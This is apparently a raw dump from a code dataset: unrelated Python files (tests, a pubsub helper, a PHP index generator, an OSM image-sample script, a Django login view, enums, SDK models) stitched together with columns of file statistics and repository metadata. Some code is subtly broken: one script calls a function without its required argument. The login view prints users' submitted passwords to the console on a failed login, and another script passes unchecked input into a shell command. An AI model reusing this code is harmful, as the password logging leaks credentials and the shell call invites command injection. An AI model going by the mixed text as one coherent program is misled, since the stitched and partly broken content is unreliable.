self.map_set[0][HitList][0].column.tolist()) self.assertListEqual((self.hold_columns * 2).tolist(), self.map_set[0][HoldList][0].column.tolist()) self.assertListEqual((self.hit_columns * 2).tolist(), self.map_set[1][HitList][0].column.tolist()) self.assertListEqual((self.hold_columns * 2).tolist(), self.map_set[1][HoldList][0].column.tolist()) def test_rate(self): ms = self.map_set.rate(0.5) self.assertListEqual((self.hit_offsets*2).tolist(), ms[0][HitList][0].offset.tolist()) self.assertListEqual((self.hold_offsets*2).tolist(), ms[0][HoldList][0].offset.tolist()) self.assertListEqual((self.hold_offsets * 2 + self.hold_lengths * 2).tolist(), ms[0][HoldList][0].tail_offset.tolist()) self.assertListEqual((self.hit_offsets*2).tolist(), ms[1][HitList][0].offset.tolist()) self.assertListEqual((self.hold_offsets*2).tolist(), ms[1][HoldList][0].offset.tolist()) self.assertListEqual((self.hold_offsets * 2 + self.hold_lengths * 2).tolist(), ms[1][HoldList][0].tail_offset.tolist()) def test_deepcopy(self): ms = self.map_set.deepcopy() ms.stack().column *= 2 self.assertListEqual((self.hit_columns*2).tolist(), ms[0][HitList][0].column.tolist()) self.assertListEqual((self.hold_columns*2).tolist(), ms[0][HoldList][0].column.tolist()) self.assertListEqual((self.hit_columns*2).tolist(), ms[1][HitList][0].column.tolist()) self.assertListEqual((self.hold_columns*2).tolist(), ms[1][HoldList][0].column.tolist()) self.assertListEqual(self.hit_columns.tolist(), self.map_set[0][HitList][0].column.tolist()) self.assertListEqual(self.hold_columns.tolist(), self.map_set[0][HoldList][0].column.tolist()) self.assertListEqual(self.hit_columns.tolist(), self.map_set[1][HitList][0].column.tolist()) self.assertListEqual(self.hold_columns.tolist(), self.map_set[1][HoldList][0].column.tolist()) if __name__ == '__main__': unittest.main()
54.110294
116
0.621552
1,028
7,359
4.329767
0.106031
0.123568
0.087621
0.188946
0.693327
0.658279
0.640306
0.615143
0.58953
0.577398
0
0.064078
0.208996
7,359
135
117
54.511111
0.700567
0.07732
0
0.074468
0
0
0.002688
0
0
0
0
0
0.43617
1
0.095745
false
0
0.053191
0
0.159574
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
2
5710d9d404ac2b132ecaaa64415a70da05239921
656
py
Python
pubsub.py
basecue/micropython-pubsub
fcb6189d648515f1a7106ed5f54e332ba069793d
[ "Apache-2.0" ]
null
null
null
pubsub.py
basecue/micropython-pubsub
fcb6189d648515f1a7106ed5f54e332ba069793d
[ "Apache-2.0" ]
null
null
null
pubsub.py
basecue/micropython-pubsub
fcb6189d648515f1a7106ed5f54e332ba069793d
[ "Apache-2.0" ]
null
null
null
from micropython import schedule _subscribers = {} def publisher(topic): def _publish(func): def _wrapper(*args, **kwargs): value = func(*args, **kwargs) publish(topic, value) return value return _wrapper return _publish def publish(topic, value) -> None: if topic not in _subscribers: return for subscriber_func in _subscribers[topic]: schedule(subscriber_func, value) def subscriber(topic): def _wrapper(func): try: _subscribers[topic].append(func) except KeyError: _subscribers[topic] = [func] return _wrapper
19.294118
47
0.609756
67
656
5.776119
0.373134
0.124031
0.087855
0
0
0
0
0
0
0
0
0
0.303354
656
33
48
19.878788
0.846827
0
0
0.090909
0
0
0
0
0
0
0
0
0
1
0.272727
false
0
0.045455
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
5715f8e7099f46fd56b68c4c665702f7dc7e68e3
379
py
Python
Curso-em-video-Python/PycharmProjects/pythonExercicios/Ex052.py
sartinicj/curso-em-video-python
8cb4ca05a88351c44aa4a7befc59c9596a50f268
[ "MIT" ]
null
null
null
Curso-em-video-Python/PycharmProjects/pythonExercicios/Ex052.py
sartinicj/curso-em-video-python
8cb4ca05a88351c44aa4a7befc59c9596a50f268
[ "MIT" ]
null
null
null
Curso-em-video-Python/PycharmProjects/pythonExercicios/Ex052.py
sartinicj/curso-em-video-python
8cb4ca05a88351c44aa4a7befc59c9596a50f268
[ "MIT" ]
null
null
null
''' N = int(input('Digite um NÚMERO: ')) tot = 0 for c in range(1, n+1): if n%c == 0: print('\033[33m', end=' ') tot+=1 else: print('\033[31m', end=' ') print('{}'.format(c), end=' ') print('\n\033[mO numero {} foi divisivel {} vezes'.format(n, tot)) if tot == 2: print('E POR ISSO É PRIMO') else: print('E POR ISSO NÃO É PRIMO') '''
21.055556
66
0.506596
62
379
3.096774
0.532258
0.083333
0.09375
0.135417
0
0
0
0
0
0
0
0.0681
0.263852
379
17
67
22.294118
0.620072
0.94723
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
572f76ae3e95b7728b1969e8e8e8f04344ee7dae
227
py
Python
solution.py
t-pastore/gamesolver
39b0ba45350f0b558c53c40e7cc659577059d369
[ "Apache-2.0" ]
1
2021-01-27T03:14:07.000Z
2021-01-27T03:14:07.000Z
solution.py
t-pastore/gamesolver
39b0ba45350f0b558c53c40e7cc659577059d369
[ "Apache-2.0" ]
null
null
null
solution.py
t-pastore/gamesolver
39b0ba45350f0b558c53c40e7cc659577059d369
[ "Apache-2.0" ]
null
null
null
class Solution(): def __init__(self): self.pureNE = [] self.mixedNE = [] def appendPureNE(self, tup): self.pureNE.append(tup) def appendMixedNE(self, tup): self.mixedNE.append(tup)
20.636364
33
0.585903
25
227
5.16
0.44
0.155039
0.170543
0
0
0
0
0
0
0
0
0
0.281938
227
11
34
20.636364
0.791411
0
0
0
0
0
0
0
0
0
0
0
0
1
0.375
false
0
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
5731a1d1075f24d7e3e476ce3662c03caca1f970
1,786
py
Python
files_to_html_md5.py
jasonivey/scripts
09f9702e5ce62abbb7699aae16b45b33711fe856
[ "MIT" ]
null
null
null
files_to_html_md5.py
jasonivey/scripts
09f9702e5ce62abbb7699aae16b45b33711fe856
[ "MIT" ]
null
null
null
files_to_html_md5.py
jasonivey/scripts
09f9702e5ce62abbb7699aae16b45b33711fe856
[ "MIT" ]
null
null
null
import os import sys import hash_utils def StartIndexPhp(outfile): outfile.write( '<?php $rootdirectory = \'../../\' ?>\n\n' ) outfile.write( '<html>\n' ) outfile.write( '<head>\n' ) outfile.write( '\t<meta http-equiv="Content-Type" content="text/html; charset=utf-8">\n' ) outfile.write( '\t<title>TV Episodes Downloads</title>\n' ) outfile.write( '</head>\n\n' ) outfile.write( '<?php include( \'../../header.php\' ); ?>\n' ) outfile.write( '<table align="center" width="600"><tr><td>\n\n' ) outfile.write( '<h1 align=center>TV Episodes Downloads</h1>\n' ) outfile.write( '<hr>\n\n' ) outfile.write( '<table align="center" width="600">\n' ) outfile.write( '\t<tr>\n' ) outfile.write( '\t\t<th align=center>Episode Name</th>\n' ) outfile.write( '\t\t<th align=center>MD5SUM</th>\n' ) outfile.write( '\t</tr>\n' ) def CloseIndexPhp(outfile): outfile.write( '</table>\n\n' ) outfile.write( '<?php include( \'../../footer.php\' ); ?>\n' ) outfile.write( '</html>\n' ) if __name__ == '__main__': with open('index.php', 'w') as outfile: StartIndexPhp() for f in os.listdir('.'): if f == 'index.php' or f.find( '?' ) != -1 or f.find( 'System Volume Information' ) != -1 or f.find( 'RECYCLER' ) != -1: continue if os.path.isdir(f): md5str = hash_utils.md5sum(f) print(f + ' - ' + md5str) outfile.write( '\t<tr>\n' ) outfile.write( '\t\t<td align=center><a href="' + f + '">' + f + '</a></td>\n' ) outfile.write( '\t\t<td align=center>' + md5str + '</td>\n' ) outfile.write( '\t</tr>\n' ) CloseIndexPhp( outfile )
43.560976
133
0.526316
230
1,786
4.043478
0.304348
0.283871
0.265591
0.135484
0.405376
0.321505
0.232258
0.232258
0.064516
0
0
0.012734
0.25252
1,786
40
134
44.65
0.683895
0
0
0.108108
0
0.027027
0.353379
0.042955
0
0
0
0
0
1
0.054054
false
0
0.081081
0
0.135135
0.027027
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
575871e8030b4782c2b2ff33f329031a54131855
454
py
Python
src/manual/add_uuid_col.py
lshtm-gis/WHO_PHSM_Cleaning
5892673922fc555fb86d6e0be548b48c7dc66814
[ "MIT" ]
null
null
null
src/manual/add_uuid_col.py
lshtm-gis/WHO_PHSM_Cleaning
5892673922fc555fb86d6e0be548b48c7dc66814
[ "MIT" ]
123
2020-10-12T11:06:27.000Z
2021-04-28T15:32:29.000Z
src/manual/add_uuid_col.py
lshtm-gis/WHO_PHSM_Cleaning
5892673922fc555fb86d6e0be548b48c7dc66814
[ "MIT" ]
null
null
null
''' Script to add uuid to existing records Also shifts who_code values to original_who_code ''' import uuid import pandas as pd manually_cleaned = pd.read_csv('data/cleansed/mistress_latest_old.csv', low_memory=False) manually_cleaned['uuid'] = [str(uuid.uuid4()) for x in manually_cleaned.iloc[:, 1]] manually_cleaned['original_who_code'] = manually_cleaned['who_code'] manually_cleaned.to_csv('data/cleansed/mistress_latest.csv', index = False)
25.222222
89
0.779736
69
454
4.869565
0.521739
0.267857
0.089286
0.136905
0.172619
0
0
0
0
0
0
0.004914
0.103524
454
17
90
26.705882
0.820639
0.193833
0
0
0
0
0.27809
0.196629
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
939df3af89d3fd8f0de44f63d3d42fe43872956f
4,890
py
Python
PySatImageAnalysis/sample_generator.py
danaja/sat_image_building_extraction
3d6cc26854666b566af0930a213a6f907733eaf7
[ "MIT" ]
2
2017-03-30T16:21:45.000Z
2019-01-09T03:01:01.000Z
PySatImageAnalysis/sample_generator.py
danaja/sat_image_building_extraction
3d6cc26854666b566af0930a213a6f907733eaf7
[ "MIT" ]
null
null
null
PySatImageAnalysis/sample_generator.py
danaja/sat_image_building_extraction
3d6cc26854666b566af0930a213a6f907733eaf7
[ "MIT" ]
1
2018-12-18T08:49:55.000Z
2018-12-18T08:49:55.000Z
# -*- coding: utf-8 -*- #Used to generate positive building samples from google satellite images #based on OSM building polygons in geojson format # #Note 1: Accuracy of OSM building polygons may vary #Note 2: Requires downloaded google satellite images(tiles) to # have the following file name structure # part_latitude_of_center_longitude_of_center.png # This code was tested with tiles downloaded using # https://github.com/tdeo/maps-hd #Note 3: OSM building data downloaded from # mapzen.com/data/metro-extracts/ #@Author Danaja Maldeniya from osgeo import ogr import os import geoutils import image_utils as imu import cv2 import json import numpy as np map_zoom = 19 tile_size = 600 driver = ogr.GetDriverByName('ESRI Shapefile') shp = driver.Open(r'/home/danaja/Downloads/colombo_sri-lanka.imposm-shapefiles (2)/colombo_sri-lanka_osm_buildings.shp') layer = shp.GetLayer() spatialRef = layer.GetSpatialRef() print spatialRef #Loop through the image files to get their ref location(center) latitude and longitude tile_dir="/home/danaja/installations/maps-hd-master/bk3/images-st" tiles = os.listdir(tile_dir) #positive sample generation #============================================================================== # for tile in tiles: # tile_name = tile.replace(".png","") # print(tile) # center_lat = float(tile_name.split("_")[1]) # center_lon = float(tile_name.split("_")[2]) # extent = geoutils.get_tile_extent(center_lat,center_lon,map_zoom,tile_size) # layer.SetSpatialFilterRect(extent[2][1],extent[2][0],extent[1][1],extent[1][0]) # print("feature count: "+str(layer.GetFeatureCount())) # print(tile_dir+"/"+tile) # image = cv2.imread(tile_dir+"/"+tile) # b_channel, g_channel, r_channel = cv2.split(image) # alpha_channel = np.array(np.ones((tile_size,tile_size )) * 255,dtype=np.uint8) #creating a dummy alpha channel image. # image= cv2.merge((b_channel, g_channel, r_channel, alpha_channel)) # i = 0 # for feature in layer: # coordinates = [] # geom = feature.GetGeometryRef() # geom = json.loads(geom.ExportToJson()) # # for coordinate in geom['coordinates'][0]: # pixel = geoutils.get_pixel_location_in_tile_for_lat_lon( \ # coordinate[1],coordinate[0],center_lat,center_lon,map_zoom,tile_size) # if len(coordinates) == 0: # minx = pixel[0] # miny = pixel[1] # maxx = pixel[0] # maxy = pixel[1] # minx = min(minx,pixel[0]) # maxx = max(maxx,pixel[0]) # miny = min(miny,pixel[1]) # maxy = max(maxy,pixel[1]) # coordinates.append(tuple(reversed(pixel))) # # mask = np.zeros(image.shape, dtype=np.uint8) # roi_corners = np.array([coordinates], dtype=np.int32) # channel_count = image.shape[2] # i.e. 3 or 4 depending on your image # ignore_mask_color = (255,)*channel_count # cv2.fillPoly(mask, roi_corners, ignore_mask_color) # masked_image = cv2.bitwise_and(image, mask) # masked_image = masked_image[minx:maxx,miny:maxy] # cv2.imwrite("positive/"+tile_name+"_"+str(i)+".png",masked_image) # i=i+1 # layer.SetSpatialFilter(None) # #============================================================================== #negative sample generation min_size = 80 max_size = 100 for tile in tiles: tile_name = tile.replace(".png","") print(tile) center_lat = float(tile_name.split("_")[1]) center_lon = float(tile_name.split("_")[2]) extent = geoutils.get_tile_extent(center_lat,center_lon,map_zoom,tile_size) layer.SetSpatialFilterRect(extent[2][1],extent[2][0],extent[1][1],extent[1][0]) if layer.GetFeatureCount() > 0: layer.SetSpatialFilter(None) attempt = 0 success = 0 while (attempt <100 and success <20): box =imu.generate_random_box(tile_size,min_size,max_size) nw_corner = geoutils.get_lat_lon_of_point_in_tile(box[0],box[1],center_lat,center_lon,map_zoom,tile_size) se_corner = geoutils.get_lat_lon_of_point_in_tile(box[2],box[3],center_lat,center_lon,map_zoom,tile_size) layer.SetSpatialFilterRect(nw_corner[1],se_corner[0],se_corner[1],nw_corner[0]) fCount = layer.GetFeatureCount() if fCount >0: continue else: image = cv2.imread(tile_dir+"/"+tile) bld = image[int(box[1]):int(box[3]), \ int(box[0]):int(box[2])] cv2.imwrite("negative/"+tile_name+"_"+str(success)+".png",bld) success = success+1 layer.SetSpatialFilter(None) attempt = attempt +1
38.203125
124
0.616769
634
4,890
4.57571
0.31388
0.024819
0.025853
0.031024
0.253706
0.253706
0.219924
0.219924
0.197173
0.197173
0
0.025166
0.228016
4,890
127
125
38.503937
0.743311
0.582618
0
0.044444
1
0.022222
0.09548
0.077197
0
0
0
0
0
0
null
null
0
0.155556
null
null
0.044444
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
93b7f2e32bcec2e7242f5985332622842d33261b
571
py
Python
alerter/src/alerter/alert_data/chainlink_contract_alert_data.py
SimplyVC/panic
2f5c327ea0d14b6a49dc8f4599a255048bc2ff6d
[ "Apache-2.0" ]
41
2019-08-23T12:40:42.000Z
2022-03-28T11:06:02.000Z
alerter/src/alerter/alert_data/chainlink_contract_alert_data.py
SimplyVC/panic
2f5c327ea0d14b6a49dc8f4599a255048bc2ff6d
[ "Apache-2.0" ]
147
2019-08-30T22:09:48.000Z
2022-03-30T08:46:26.000Z
alerter/src/alerter/alert_data/chainlink_contract_alert_data.py
SimplyVC/panic
2f5c327ea0d14b6a49dc8f4599a255048bc2ff6d
[ "Apache-2.0" ]
3
2019-09-03T21:12:28.000Z
2021-08-18T14:27:56.000Z
from typing import Dict from src.alerter.alert_data.alert_data import AlertData class ChainlinkContractAlertData(AlertData): """ ChainlinkContractAlertData will store extra information needed for the data store such as the contract_proxy_address. """ def __init__(self): super().__init__() @property def alert_data(self) -> Dict: return self._alert_data def set_alert_data(self, contract_proxy_address: str) -> None: self._alert_data = { 'contract_proxy_address': contract_proxy_address }
24.826087
74
0.698774
66
571
5.666667
0.484848
0.144385
0.213904
0
0
0
0
0
0
0
0
0
0.227671
571
22
75
25.954545
0.848073
0.204904
0
0
0
0
0.050691
0.050691
0
0
0
0
0
1
0.25
false
0
0.166667
0.083333
0.583333
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
93c8ba0b9839234f94247033001b32b0fa66bf75
193
py
Python
redacoes/models/vesibulares.py
VictorGM01/controle_de_questoes
658e81b2e2fe78fb1e6bb7ff3f537c8a28e7c9e8
[ "MIT" ]
1
2022-03-23T12:32:20.000Z
2022-03-23T12:32:20.000Z
redacoes/models/vesibulares.py
VictorGM01/controle_de_questoes
658e81b2e2fe78fb1e6bb7ff3f537c8a28e7c9e8
[ "MIT" ]
null
null
null
redacoes/models/vesibulares.py
VictorGM01/controle_de_questoes
658e81b2e2fe78fb1e6bb7ff3f537c8a28e7c9e8
[ "MIT" ]
null
null
null
from django.db import models class Vestibular(models.TextChoices): ENEM = 'ENEM' UNICAMP = 'Unicamp' FUVEST = 'Fuvest' UNESP = 'Unesp' UERJ = 'UERJ' OUTROS = 'Outros'
17.545455
37
0.621762
21
193
5.714286
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.259067
193
10
38
19.3
0.839161
0
0
0
0
0
0.165803
0
0
0
0
0
0
1
0
false
0
0.125
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
93ee69a5215c2d7c2cad4e30beebcfeebc327ae5
367
py
Python
import_gs.py
christophdrayss/labelImg-pointer-upgrade
9304d2c347abb935543579e14554aa74ec97807c
[ "MIT" ]
null
null
null
import_gs.py
christophdrayss/labelImg-pointer-upgrade
9304d2c347abb935543579e14554aa74ec97807c
[ "MIT" ]
null
null
null
import_gs.py
christophdrayss/labelImg-pointer-upgrade
9304d2c347abb935543579e14554aa74ec97807c
[ "MIT" ]
null
null
null
# # exports a specific folder in the import directory to the google cloud # # Syntax: # python3 import.py <GS URI> # # Example: # python3 import.py gs://bini-products-bucket/training-sets-2/intrusion/poc1_v1.2.0/frames # # import os import sys # uri cloud_uri = sys.argv[1] os.system('mkdir -p import') os.system('gsutil -m cp -c -r '+cloud_uri+' ./import/')
18.35
90
0.692098
60
367
4.183333
0.666667
0.103586
0.119522
0.135458
0
0
0
0
0
0
0
0.02589
0.158038
367
19
91
19.315789
0.786408
0.574932
0
0
0
0
0.305556
0
0
0
0
0
0
1
0
false
0
0.8
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
93f6815c90e0d2c5d837cca53aee27c9bd4b93f4
261
py
Python
store/cach.py
fj-fj-fj/drf-api-orm
c3fdd9ca31dafe40b8b1b88b5ee9dbeb4880a92a
[ "MIT" ]
null
null
null
store/cach.py
fj-fj-fj/drf-api-orm
c3fdd9ca31dafe40b8b1b88b5ee9dbeb4880a92a
[ "MIT" ]
2
2021-03-20T10:18:45.000Z
2021-04-05T19:45:58.000Z
store/cach.py
fj-fj-fj/drf-api-orm
c3fdd9ca31dafe40b8b1b88b5ee9dbeb4880a92a
[ "MIT" ]
1
2021-03-19T20:51:17.000Z
2021-03-19T20:51:17.000Z
from django.db.models import Avg from store.models import Book, UserBookRelation def set_rating(book: Book) -> None: rating = UserBookRelation.objects.filter(book=book).aggregate(rating=Avg('rate')).get('rating') book.rating = rating book.save()
26.1
99
0.731801
35
261
5.428571
0.542857
0.157895
0
0
0
0
0
0
0
0
0
0
0.137931
261
9
100
29
0.844444
0
0
0
0
0
0.038314
0
0
0
0
0
0
1
0.166667
false
0
0.333333
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
9e13f559b1f0c5960c9398a871cf6613d7ce918c
5,442
py
Python
apps/login/views.py
kwarodom/bemoss_web_ui-1
6c65c49b8f52bc7d189c9f2391f9098ec0f2dd92
[ "Unlicense" ]
null
null
null
apps/login/views.py
kwarodom/bemoss_web_ui-1
6c65c49b8f52bc7d189c9f2391f9098ec0f2dd92
[ "Unlicense" ]
null
null
null
apps/login/views.py
kwarodom/bemoss_web_ui-1
6c65c49b8f52bc7d189c9f2391f9098ec0f2dd92
[ "Unlicense" ]
null
null
null
# -*- coding: utf-8 -*- ''' Copyright (c) 2016, Virginia Tech All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The views and conclusions contained in the software and documentation are those of the authors and should not be interpreted as representing official policies, either expressed or implied, of the FreeBSD Project. This material was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the United States Department of Energy, nor Virginia Tech, nor any of their employees, nor any jurisdiction or organization that has cooperated in the development of these materials, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness or any information, apparatus, product, software, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial product, process, or service by trade name, trademark, manufacturer, or otherwise does not necessarily constitute or imply its endorsement, recommendation, favoring by the United States Government or any agency thereof, or Virginia Tech - Advanced Research Institute. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or any agency thereof. VIRGINIA TECH – ADVANCED RESEARCH INSTITUTE under Contract DE-EE0006352 #__author__ = "BEMOSS Team" #__credits__ = "" #__version__ = "2.0" #__maintainer__ = "BEMOSS Team" #__email__ = "[email protected]" #__website__ = "www.bemoss.org" #__created__ = "2014-09-12 12:04:50" #__lastUpdated__ = "2016-03-14 11:23:33" ''' from django.shortcuts import render_to_response from django.contrib.auth import authenticate, login from django.template import RequestContext from django.http import HttpResponseRedirect from django.contrib import messages import logging logger = logging.getLogger("views") def login_user(request): print "inside login_user() method" # Like before, obtain the context for the user's request. context = RequestContext(request) if request.method == 'POST': # Gather the username and password provided by the user. # This information is obtained from the login form. username = request.POST['username'] password = request.POST['password'] # Use Django's machinery to attempt to see if the username/password # combination is valid - a User object is returned if it is. user = authenticate(username=username, password=password) # If we have a User object, the details are correct. # If None (Python's way of representing the absence of a value), no user # with matching credentials was found. if user is not None: # Is the account active? It could have been disabled. if user.is_active: # If the account is valid and active, we can log the user in. # We'll send the user back to the homepage. login(request, user) request.session['zipcode'] = '22204' logger.info("Login of user : %s", user.username) return HttpResponseRedirect('/home/') else: # An inactive account was used - no logging in! messages.error(request, 'This account has been disabled by the administrator.') else: # Bad login details were provided. So we can't log the user in. print "Invalid login details: {0}, {1}".format(username, password) messages.error(request, 'Your username/password information is incorrect.') #return HttpResponse("Invalid login details supplied.") return HttpResponseRedirect('/login/') #render_to_response('login/login.html', {}, context) else: # The request is not a HTTP POST, so display the login form. # This scenario would most likely be a HTTP GET. return render_to_response('login/login.html', {}, context)
52.326923
118
0.717567
728
5,442
5.309066
0.428571
0.007762
0.019405
0.025873
0.096507
0.076585
0.076585
0.057439
0.035188
0.035188
0
0.012085
0.22455
5,442
103
119
52.834951
0.903555
0.172547
0
0.107143
0
0
0.151955
0
0
0
0
0
0
0
null
null
0.142857
0.214286
null
null
0.071429
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
f508dd3ad06395335728ce6e7db17f8e899fd2f6
2,221
py
Python
pypad/collab.py
candyninja001/pypad
82bfc104c2524ca54cc415d37d2c21fec471838f
[ "MIT" ]
null
null
null
pypad/collab.py
candyninja001/pypad
82bfc104c2524ca54cc415d37d2c21fec471838f
[ "MIT" ]
null
null
null
pypad/collab.py
candyninja001/pypad
82bfc104c2524ca54cc415d37d2c21fec471838f
[ "MIT" ]
null
null
null
from enum import Enum from .dev import Dev class Collab(Enum): UNKNOWN = -1 NONE = 0 RAGNAROK_ONLINE = 1 TAIKO_NO_TATSUJIN = 2 EMIL_CHRONICLE_ONLINE = 3 GUNMA_NO_YABOU = 5 CRYSTAL_DEFENDER = 6 FAMITSU = 7 PRINCESS_PUNT_SWEET = 8 ANDROID = 9 SHINRABANSHO_CHOCO = 10 CAPYBARA_SAN = 11 FREAK_TOWER = 12 SENGOKU_TENKA_TRIGGER = 13 EVANGELION = 14 SEVEN_ELEVEN = 15 CLASH_OF_CLANS = 16 GROOVE_COASTER = 17 RAGNAROK_ODYSSEY_ACE = 18 DRAGONS_DOGMA_QUEST = 19 TAKAOKA_CITY = 20 MONSTER_HUNTER_4G = 21 BATMAN = 22 THIRTY_ONE_ICECREAM = 23 ANGRY_BIRDS = 24 PUZZLE_AND_DRAGONS_Z = 25 HUNTER_X_HUNTER = 26 SANRIO_CHARACTERS = 27 PAD_BATTLE_TOURNAMENT = 28 BEAMS = 29 DRAGON_BALL = 30 SAINT_SEIYA = 31 ROAD_TO_DRAGON = 32 DIVINE_GATE = 33 SUMMONS_BOARD = 34 PICOTTO_KINGDOM = 35 BIKKURIMAN = 36 ANGRY_BIRDS_EPIC = 37 DC_UNIVERSE = 38 CHIBI_1 = 39 # first round chibis - three kingdoms series FIST_OF_THE_NORTH_STAR = 40 CHIBI_2 = 41 # second round chibis CHIBI_3 = 44 # third round chibis FINAL_FANTASY = 45 GHOST_IN_THE_SHELL = 46 DUEL_MASTERS = 47 ATTACK_ON_TITAN = 48 NINJA_HATTORI_KUN = 49 SHONEN_SUNDAY = 50 CROWS_X_WORST = 51 # TODO VERIFY NO OVERLAP WITH VOLTRON BLEACH = 52 ACE_ATTORNEY = 55 RUROUNI_KENSHIN = 56 PEPPER = 57 KINNIKUMAN = 58 HIRUNE_HIME = 59 MAGAZINE = 60 MONSTER_HUNTER = 61 KAIBUTSU_KUN = 62 VOLTRON = 63 # TODO VERIFY NO OVERLAP WITH CROW X WORST FULLMETAL_ALCHEMIST = 65 KING_OF_FIGHTERS = 66 YU_YU_HAKUSHO = 67 PERSONA = 68 COCA_COLA = 69 MAGIC_THE_GATHERING = 70 CHRONO_MAGIA = 71 SEVENTH_REBIRTH = 72 CALCIO_FANTASISTA = 73 POWER_PROS = 74 GINTAMA = 75 SWORD_ART_ONLINE = 76 KAMEN_RIDER = 77 YOKAI_WATCH_W = 78 FATE_STAY_NIGHT = 79 STREET_FIGHTER_V = 80 UMAIBOU = 81 MC_DONALDS = 82 SHAMAN_KING = 83 ERROR_999 = 999 DRAGONBOUNDS_AND_DRAGON_CALLERS = 10001 @classmethod def _missing_(cls, value): Dev.log(f'Unknown collab: {value}') return Collab.UNKNOWN
24.677778
61
0.662765
311
2,221
4.411576
0.826367
0.024052
0.017493
0.027697
0.033528
0
0
0
0
0
0
0.103295
0.289509
2,221
90
62
24.677778
0.76616
0.071139
0
0
0
0
0.011176
0
0
0
0
0.011111
0
1
0.011364
false
0
0.022727
0
0.977273
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
2
f52c3d4d080221bb0849b2d7854dea28cf442e0d
619
py
Python
papi_sdk/models/search/hotelpage/affiliate.py
stanislav-losev/papi-sdk-python
4a296745d626ef13c6d1170e9d3569cb1c37eb3c
[ "MIT" ]
1
2022-02-01T08:53:24.000Z
2022-02-01T08:53:24.000Z
papi_sdk/models/search/hotelpage/affiliate.py
stanislav-losev/papi-sdk-python
4a296745d626ef13c6d1170e9d3569cb1c37eb3c
[ "MIT" ]
2
2021-01-18T07:57:29.000Z
2021-06-23T11:04:14.000Z
papi_sdk/models/search/hotelpage/affiliate.py
stanislav-losev/papi-sdk-python
4a296745d626ef13c6d1170e9d3569cb1c37eb3c
[ "MIT" ]
3
2020-12-30T13:09:45.000Z
2020-12-30T13:42:33.000Z
from typing import List, Optional from papi_sdk.models.search.base_affiliate_response import ( BaseAffiliateSearchData, BaseAffiliateSearchResponse, BaseHotel, BaseRate, ) from papi_sdk.models.search.base_request import BaseAffiliateRequest class AffiliateHotelPageRequest(BaseAffiliateRequest): id: str class Rate(BaseRate): book_hash: str class Hotel(BaseHotel): rates: List[Rate] class HotelPageAffiliateSearchData(BaseAffiliateSearchData): hotels: List[Hotel] class AffiliateHotelPageResponse(BaseAffiliateSearchResponse): data: Optional[HotelPageAffiliateSearchData]
20.633333
68
0.799677
56
619
8.732143
0.553571
0.03272
0.04499
0.06953
0.110429
0.110429
0
0
0
0
0
0
0.137318
619
29
69
21.344828
0.91573
